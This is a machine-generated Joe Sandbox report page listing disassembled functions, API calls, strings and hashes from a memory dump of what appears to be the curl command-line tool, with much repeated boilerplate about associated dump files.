Associated: 0000003C.00000002.3094785733.0000000001052000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095183432.0000000001111000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095328208.0000000001116000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.0000000001117000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.000000000111A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3096095977.000000000111B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_60_2_dc0000_qrl.jbxd

Similarity

API ID: ErrorLast_errnomemcpy$getpeernamegetsockname
String ID: getpeername() failed with errno %d: %s$getsockname() failed with errno %d: %s$ssloc inet_ntop() failed with errno %d: %s$ssrem inet_ntop() failed with errno %d: %s
API String ID: 4028824192-670633250
Opcode ID: 4eca582c08e86a90c450a157d1f99beede1a2de082a24d8230a2f37b5629ba7f
Instruction ID: 156c3c588c09a02ebcc6d09bff76d15c602aa21825e5d89738bd531c01301f50
Opcode Fuzzy Hash: 4eca582c08e86a90c450a157d1f99beede1a2de082a24d8230a2f37b5629ba7f
Instruction Fuzzy Hash: 74514BB5A00204AFDB149F20DC95AE673ADEF95300F0840BAFD49CB256E771A945CB72

Function 00DC96B0 Relevance: 14.0, APIs: 4, Strings: 4, Instructions: 44
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetEnvironmentVariableA.KERNELBASE(CURL_HOME,?,00000400), ref: 00DC96C4
_strdup.MSVCRT(?,?,00000400), ref: 00DC96DA
GetEnvironmentVariableA.KERNEL32(HOME,?,00000400,?,00000400), ref: 00DC96F1
_strdup.MSVCRT(?,?,00000400,?,00000400), ref: 00DC9707

Strings

CURL_HOME, xrefs: 00DC96BF
HOME, xrefs: 00DC96EC
APPDATA, xrefs: 00DC9713
%USERPROFILE%\Application Data, xrefs: 00DC9726

Memory Dump Source

Source File: 0000003C.00000002.3093957163.0000000000DC1000.00000020.00000001.01000000.00000017.sdmp, Offset: 00DC0000, based on PE: true

Associated: 0000003C.00000002.3093885419.0000000000DC0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094712049.000000000104E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094785733.0000000001052000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095183432.0000000001111000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095328208.0000000001116000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.0000000001117000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.000000000111A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3096095977.000000000111B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_60_2_dc0000_qrl.jbxd

Similarity

API ID: EnvironmentVariable_strdup
String ID: %USERPROFILE%\Application Data$APPDATA$CURL_HOME$HOME
API String ID: 3075022039-734137483
Opcode ID: ec78f78f5defffb8ff65c3cbebdccd9f8a259ded684a86ac58194ee834331942
Instruction ID: b2ea52d4cee3dad52370054da541961e647971e6bb1205f6e2189710328559ec
Opcode Fuzzy Hash: ec78f78f5defffb8ff65c3cbebdccd9f8a259ded684a86ac58194ee834331942
Instruction Fuzzy Hash: FEF0FC5060611317E7703E22591DFABBA14DF21354F184478DECD9F1C6F541C84282FB

Function 00DC9A20 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 68
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetConsoleMode.KERNELBASE(00000003), ref: 00DC9A2F
malloc.MSVCRT ref: 00DC9A59

Part of subcall function 00DC9DE0: fwrite.MSVCRT ref: 00DC9E00

free.MSVCRT ref: 00DC9AD8
strcmp.MSVCRT ref: 00DC9AF0
SetConsoleMode.KERNELBASE ref: 00DC9B69

Strings

--dump-module-paths, xrefs: 00DC9AE8
error initializing curl library, xrefs: 00DC9A88

Memory Dump Source

Source File: 0000003C.00000002.3093957163.0000000000DC1000.00000020.00000001.01000000.00000017.sdmp, Offset: 00DC0000, based on PE: true

Associated: 0000003C.00000002.3093885419.0000000000DC0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094712049.000000000104E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094785733.0000000001052000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095183432.0000000001111000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095328208.0000000001116000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.0000000001117000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.000000000111A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3096095977.000000000111B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_60_2_dc0000_qrl.jbxd

Similarity

API ID: ConsoleMode$freefwritemallocstrcmp
String ID: --dump-module-paths$error initializing curl library
API String ID: 106277626-1789877276
Opcode ID: 2ebfe41410f78748575c205d3cc8ad483dc2d596c67857066b77e625236815fe
Instruction ID: 0875d99aaace96062612413fba840e52916858e2eaece7ea2bc12b7ca21c3beb
Opcode Fuzzy Hash: 2ebfe41410f78748575c205d3cc8ad483dc2d596c67857066b77e625236815fe
Instruction Fuzzy Hash: BC11B7F1E00306ABDF10ABA0AD5AB6AF769EB50354F180038F959E7245EA31DE10C7B1

Function 00DC91C0 Relevance: 12.1, APIs: 3, Strings: 5, Instructions: 146
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

strcmp.MSVCRT ref: 00DC9211
malloc.MSVCRT ref: 00DC926D
strcmp.MSVCRT ref: 00DC9353

Strings

--url, xrefs: 00DC92DB
option %s: %s, xrefs: 00DC9361
n, xrefs: 00DC936D
-, xrefs: 00DC9201
%s, xrefs: 00DC9378

Memory Dump Source

Source File: 0000003C.00000002.3093957163.0000000000DC1000.00000020.00000001.01000000.00000017.sdmp, Offset: 00DC0000, based on PE: true

Associated: 0000003C.00000002.3093885419.0000000000DC0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094712049.000000000104E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094785733.0000000001052000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095183432.0000000001111000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095328208.0000000001116000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.0000000001117000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.000000000111A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3096095977.000000000111B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_60_2_dc0000_qrl.jbxd

Similarity

API ID: strcmp$malloc
String ID: %s$-$--url$option %s: %s$n
API String ID: 2681023970-2553401801
Opcode ID: 0a09f285440e14df0ea9ac9e1612492cb74b2b9fce817bf91f3fca29cf747969
Instruction ID: 6a803a022a4d4093007b9f75dd606a34c3b23e78029999607df3da9d4e9c4cd9
Opcode Fuzzy Hash: 0a09f285440e14df0ea9ac9e1612492cb74b2b9fce817bf91f3fca29cf747969
Instruction Fuzzy Hash: 3541E571A04642ABD7219A25C899F6BF7E8FF84704F49052DFC889B261E331E940C7B2

Function 00DCE7E0 Relevance: 12.1, APIs: 8, Instructions: 81
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

fgets.MSVCRT ref: 00DCE809
strchr.MSVCRT ref: 00DCE823
strchr.MSVCRT ref: 00DCE835
strlen.MSVCRT ref: 00DCE845
realloc.MSVCRT ref: 00DCE855
strcpy.MSVCRT(00000000), ref: 00DCE86B
fgets.MSVCRT ref: 00DCE880
free.MSVCRT ref: 00DCE8AB

Memory Dump Source

Source File: 0000003C.00000002.3093957163.0000000000DC1000.00000020.00000001.01000000.00000017.sdmp, Offset: 00DC0000, based on PE: true

Associated: 0000003C.00000002.3093885419.0000000000DC0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094712049.000000000104E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094785733.0000000001052000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095183432.0000000001111000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095328208.0000000001116000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.0000000001117000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.000000000111A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3096095977.000000000111B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_60_2_dc0000_qrl.jbxd

Similarity

API ID: fgetsstrchr$freereallocstrcpystrlen
String ID:
API String ID: 606539986-0
Opcode ID: 4d5e52e0035bb676311aa50db286969b0c753409b26ce017258fc80420ecdfe7
Instruction ID: 24ecbf642972cb820f9b0d622290d13990c51ac5858e7b7685df12c6702d6efc
Opcode Fuzzy Hash: 4d5e52e0035bb676311aa50db286969b0c753409b26ce017258fc80420ecdfe7
Instruction Fuzzy Hash: 1911C8F1F0424627EB266665AC41FEB3B894FF6311F19403CED8887280FA55D90682B7

Function 00DC125B Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 92
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

malloc.MSVCRT ref: 00DC12E2
strlen.MSVCRT ref: 00DC131B
malloc.MSVCRT ref: 00DC1326
memcpy.MSVCRT ref: 00DC133C
_cexit.MSVCRT ref: 00DC13A8

Strings

!c(, xrefs: 00DC135A

Memory Dump Source

Source File: 0000003C.00000002.3093957163.0000000000DC1000.00000020.00000001.01000000.00000017.sdmp, Offset: 00DC0000, based on PE: true

Associated: 0000003C.00000002.3093885419.0000000000DC0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094712049.000000000104E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094785733.0000000001052000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095183432.0000000001111000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095328208.0000000001116000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.0000000001117000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.000000000111A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3096095977.000000000111B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_60_2_dc0000_qrl.jbxd

Similarity

API ID: malloc$_cexitmemcpystrlen
String ID: !c(
API String ID: 701060287-1773518143
Opcode ID: 85bda4f98464eed64d7c673f0c14d75bd767ba4b8b29c9a5357bbe320203dc0f
Instruction ID: fd66385a3d0a77ef7023effccb7c43e6c212610f95e60d62ce074e50dff2d381
Opcode Fuzzy Hash: 85bda4f98464eed64d7c673f0c14d75bd767ba4b8b29c9a5357bbe320203dc0f
Instruction Fuzzy Hash: 933157B9E043569FCB28DFA4D680B99F7E1FB55300F14442ECA9497306E339E984CB51

Function 00DC1296 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 81stringCOMMON

Download Yara Rule

APIs

malloc.MSVCRT ref: 00DC12E2
strlen.MSVCRT ref: 00DC131B
malloc.MSVCRT ref: 00DC1326
memcpy.MSVCRT ref: 00DC133C
_cexit.MSVCRT ref: 00DC13A8

Strings

!c(, xrefs: 00DC135A

Memory Dump Source

Source File: 0000003C.00000002.3093957163.0000000000DC1000.00000020.00000001.01000000.00000017.sdmp, Offset: 00DC0000, based on PE: true

Associated: 0000003C.00000002.3093885419.0000000000DC0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094712049.000000000104E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094785733.0000000001052000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095183432.0000000001111000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095328208.0000000001116000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.0000000001117000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.000000000111A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3096095977.000000000111B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_60_2_dc0000_qrl.jbxd

Similarity

API ID: malloc$_cexitmemcpystrlen
String ID: !c(
API String ID: 701060287-1773518143
Opcode ID: 976a0cd7a6a990c6e667bae6ebf96f3f795354371938d70567f73a4f6f34ee76
Instruction ID: f4495243289b462b48d01e6de7f21a57dcebc38d21af8924449b5daec9afb209
Opcode Fuzzy Hash: 976a0cd7a6a990c6e667bae6ebf96f3f795354371938d70567f73a4f6f34ee76
Instruction Fuzzy Hash: 2D3146B9E00352DFDB24DF64D680B89F7E0FB55300F14852EDA9897305E734A985CB90

Function 00DC1286 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 78stringCOMMON

Download Yara Rule

APIs

malloc.MSVCRT ref: 00DC12E2
strlen.MSVCRT ref: 00DC131B
malloc.MSVCRT ref: 00DC1326
memcpy.MSVCRT ref: 00DC133C
_cexit.MSVCRT ref: 00DC13A8

Strings

!c(, xrefs: 00DC135A

Memory Dump Source

Source File: 0000003C.00000002.3093957163.0000000000DC1000.00000020.00000001.01000000.00000017.sdmp, Offset: 00DC0000, based on PE: true

Associated: 0000003C.00000002.3093885419.0000000000DC0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094712049.000000000104E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094785733.0000000001052000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095183432.0000000001111000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095328208.0000000001116000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.0000000001117000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.000000000111A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3096095977.000000000111B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_60_2_dc0000_qrl.jbxd

Similarity

API ID: malloc$_cexitmemcpystrlen
String ID: !c(
API String ID: 701060287-1773518143
Opcode ID: 62e274d97cc3439a54345ad786f77d055c3a95436e38c02fe9a391e14217f8bc
Instruction ID: af0d47b1e67f3eabafefbe20bf0faf5340f1c7133d165e8445ee6b4f2084d55a
Opcode Fuzzy Hash: 62e274d97cc3439a54345ad786f77d055c3a95436e38c02fe9a391e14217f8bc
Instruction Fuzzy Hash: 163124B9E00352DFCB24DFA4D680B89F7E0FB59300F15852ECA9893305E734A985CB91

Function 00DC22E0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 94stringCOMMON

Download Yara Rule

APIs

strtol.MSVCRT ref: 00DC237B
strlen.MSVCRT ref: 00DC238D
GetStdHandle.KERNEL32(000000F4), ref: 00DC23C9
GetConsoleScreenBufferInfo.KERNELBASE(00000000), ref: 00DC23D8

Strings

COLUMNS, xrefs: 00DC2362

Memory Dump Source

Source File: 0000003C.00000002.3093957163.0000000000DC1000.00000020.00000001.01000000.00000017.sdmp, Offset: 00DC0000, based on PE: true

Associated: 0000003C.00000002.3093885419.0000000000DC0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094712049.000000000104E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094785733.0000000001052000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095183432.0000000001111000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095328208.0000000001116000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.0000000001117000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.000000000111A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3096095977.000000000111B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_60_2_dc0000_qrl.jbxd

Similarity

API ID: BufferConsoleHandleInfoScreenstrlenstrtol
String ID: COLUMNS
API String ID: 4155930958-2475376301
Opcode ID: 32fb540d1875aba7f72526011f38697094a49427e1fd2d6662b5a1ded8b74d4e
Instruction ID: 115f6e1450c4b6ba5c195047ded039939fd27ce0358c38150ffd1f03b02aafe7
Opcode Fuzzy Hash: 32fb540d1875aba7f72526011f38697094a49427e1fd2d6662b5a1ded8b74d4e
Instruction Fuzzy Hash: FF315DB06042419BEB049F14D8D8B6B7BA4FB54318F14416DEC488F386D77AD994CBE1

Function 00DC9ABC Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00DC9DE0: fwrite.MSVCRT ref: 00DC9E00

free.MSVCRT ref: 00DC9AD8
strcmp.MSVCRT ref: 00DC9AF0
SetConsoleMode.KERNELBASE ref: 00DC9B69

Strings

--dump-module-paths, xrefs: 00DC9AE8
error retrieving curl library information, xrefs: 00DC9AC9

Memory Dump Source

Source File: 0000003C.00000002.3093957163.0000000000DC1000.00000020.00000001.01000000.00000017.sdmp, Offset: 00DC0000, based on PE: true

Associated: 0000003C.00000002.3093885419.0000000000DC0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094712049.000000000104E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094785733.0000000001052000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095183432.0000000001111000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095328208.0000000001116000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.0000000001117000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.000000000111A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3096095977.000000000111B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_60_2_dc0000_qrl.jbxd

Similarity

API ID: ConsoleModefreefwritestrcmp
String ID: --dump-module-paths$error retrieving curl library information
API String ID: 816042323-1768065291
Opcode ID: 539475c2b75b37e2dc4e43fe60a8b5d43096cac10e901c3626edb26765b29a7a
Instruction ID: ab71db3b6d2e61f82707f92b5df049ce621e9b272c3377a8e1bc079bbd743c2e
Opcode Fuzzy Hash: 539475c2b75b37e2dc4e43fe60a8b5d43096cac10e901c3626edb26765b29a7a
Instruction Fuzzy Hash: DCF09CF3E0020277CF116A607D9AE5AF71ADFA0365F190038FD5997205EA218D10C7B1

Function 00DDC0A0 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 34libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNELBASE(00000000,InitSecurityInterfaceA), ref: 00DDC0EC

Strings

InitSecurityInterfaceA, xrefs: 00DDC0E6
secur32.dll, xrefs: 00DDC0C2
security.dll, xrefs: 00DDC0C7, 00DDC0CF

Memory Dump Source

Source File: 0000003C.00000002.3093957163.0000000000DC1000.00000020.00000001.01000000.00000017.sdmp, Offset: 00DC0000, based on PE: true

Associated: 0000003C.00000002.3093885419.0000000000DC0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094712049.000000000104E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094785733.0000000001052000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095183432.0000000001111000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095328208.0000000001116000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.0000000001117000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.000000000111A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3096095977.000000000111B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_60_2_dc0000_qrl.jbxd

Similarity

API ID: AddressProc
String ID: InitSecurityInterfaceA$secur32.dll$security.dll
API String ID: 190572456-3788156360
Opcode ID: 593d5970ef8ad6347b1429e7c0b40e7c0ba1e8b187840fb6ed2fe64db60c228c
Instruction ID: 55c63793f5b46fac3d7ec362166590c97ef9e40fef94f7a5cafe59ac91d8f1e9
Opcode Fuzzy Hash: 593d5970ef8ad6347b1429e7c0b40e7c0ba1e8b187840fb6ed2fe64db60c228c
Instruction Fuzzy Hash: 36F0A0E0B20202EAEB34A67A6D47B76A1889B44740F181137AA55DA3CAEAB1CC40C771

Function 00E0CD00 Relevance: 6.2, APIs: 4, Instructions: 152networkCOMMON

Download Yara Rule

APIs

getaddrinfo.WS2_32(?,?,?), ref: 00E0CD23
memcpy.MSVCRT(00000000,00000000,00000010,?,?,?,?), ref: 00E0CDFF
freeaddrinfo.WS2_32(?,?,?,?), ref: 00E0CE62
WSASetLastError.WS2_32(00002AF9,?,?,?), ref: 00E0CEA8

Memory Dump Source

Source File: 0000003C.00000002.3093957163.0000000000DC1000.00000020.00000001.01000000.00000017.sdmp, Offset: 00DC0000, based on PE: true

Associated: 0000003C.00000002.3093885419.0000000000DC0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094712049.000000000104E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094785733.0000000001052000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095183432.0000000001111000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095328208.0000000001116000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.0000000001117000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.000000000111A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3096095977.000000000111B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_60_2_dc0000_qrl.jbxd

Similarity

API ID: ErrorLastfreeaddrinfogetaddrinfomemcpy
String ID:
API String ID: 4195171763-0
Opcode ID: 8d46dc8d8b7845ffc5cca9a056776ae168c585c8798b2d99ee58fe87f94a055a
Instruction ID: 3df3fd26ec1caa544b0b9c2aa1b18a2e35363b799b4417ea854f25aa8dc735b8
Opcode Fuzzy Hash: 8d46dc8d8b7845ffc5cca9a056776ae168c585c8798b2d99ee58fe87f94a055a
Instruction Fuzzy Hash: B64195B06002059FDB208F65D9887277BA5FF40718F144629ED49E7381E775ECA6CBE2

Function 00DD6680 Relevance: 4.7, APIs: 1, Strings: 2, Instructions: 196COMMON

Download Yara Rule

APIs

free.MSVCRT(?), ref: 00DD67E3

Strings

Connection #%ld to host %s left intact, xrefs: 00DD68CB
%s, xrefs: 00DD68F2

Memory Dump Source

Source File: 0000003C.00000002.3093957163.0000000000DC1000.00000020.00000001.01000000.00000017.sdmp, Offset: 00DC0000, based on PE: true

Associated: 0000003C.00000002.3093885419.0000000000DC0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094712049.000000000104E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094785733.0000000001052000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095183432.0000000001111000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095328208.0000000001116000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.0000000001117000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.000000000111A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3096095977.000000000111B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_60_2_dc0000_qrl.jbxd

Similarity

API ID: free
String ID: %s$Connection #%ld to host %s left intact
API String ID: 1294909896-118628944
Opcode ID: 97c92f6a402e1b6b7a465dd8ffc8638866b806844cded7d5ac8a855345973498
Instruction ID: eeaba3aeef27ceadc65343b108bfe3c43b80b3761e68bfc8a868a9260d73a53b
Opcode Fuzzy Hash: 97c92f6a402e1b6b7a465dd8ffc8638866b806844cded7d5ac8a855345973498
Instruction Fuzzy Hash: CF61A6B45003049BE7319F24DC49BDA77E5EF44308F08442EE95E46391EB75E998DBB2

Function 00DC9B24 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 36COMMON

Download Yara Rule

APIs

SetConsoleMode.KERNELBASE ref: 00DC9B69

Strings

%s, xrefs: 00DC9B32

Memory Dump Source

Source File: 0000003C.00000002.3093957163.0000000000DC1000.00000020.00000001.01000000.00000017.sdmp, Offset: 00DC0000, based on PE: true

Associated: 0000003C.00000002.3093885419.0000000000DC0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094712049.000000000104E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094785733.0000000001052000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095183432.0000000001111000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095328208.0000000001116000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.0000000001117000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.000000000111A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3096095977.000000000111B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_60_2_dc0000_qrl.jbxd

Similarity

API ID: ConsoleMode
String ID: %s
API String ID: 4145635619-620797490
Opcode ID: 3025570a7649fb6d6bb47aaefb3fd2759eb3dec4b606a5a37bbc1e77b90b6f56
Instruction ID: d784aa4cbce9e77a03937a2e93d6f4f64ec6d09c4e9cf69522990fef054822e7
Opcode Fuzzy Hash: 3025570a7649fb6d6bb47aaefb3fd2759eb3dec4b606a5a37bbc1e77b90b6f56
Instruction Fuzzy Hash: 8EE0D872740240A7CB21AAD1BDD5E59FB26EFE4319B040036FA084621AEA224910C772

Function 00DD5C20 Relevance: 3.1, APIs: 2, Instructions: 81networkCOMMON

Download Yara Rule

APIs

memcpy.MSVCRT(?,?,00000080), ref: 00DD5C88
socket.WS2_32(?,?,00000011), ref: 00DD5CF1

Memory Dump Source

Source File: 0000003C.00000002.3093957163.0000000000DC1000.00000020.00000001.01000000.00000017.sdmp, Offset: 00DC0000, based on PE: true

Associated: 0000003C.00000002.3093885419.0000000000DC0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094712049.000000000104E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094785733.0000000001052000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095183432.0000000001111000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095328208.0000000001116000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.0000000001117000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.000000000111A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3096095977.000000000111B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_60_2_dc0000_qrl.jbxd

Similarity

API ID: memcpysocket
String ID:
API String ID: 3436932642-0
Opcode ID: 803f51bf6d3fe19a53ea359582c99667ec99469dbe4bf84dc16baa306b83fbe0
Instruction ID: 01c87c2733f8dff897be304b485c27325a33e43795a062e458f413d4da04680c
Opcode Fuzzy Hash: 803f51bf6d3fe19a53ea359582c99667ec99469dbe4bf84dc16baa306b83fbe0
Instruction Fuzzy Hash: 373180716006009FD7288F18E884BA6B7B1FF88324F18867EE8698B391D731E854CB61

Function 00DD3A60 Relevance: 3.1, APIs: 2, Instructions: 59networkCOMMON

Download Yara Rule

APIs

WSAStartup.WS2_32(00000202), ref: 00DD3B17
WSACleanup.WS2_32 ref: 00DD3B3F

Memory Dump Source

Source File: 0000003C.00000002.3093957163.0000000000DC1000.00000020.00000001.01000000.00000017.sdmp, Offset: 00DC0000, based on PE: true

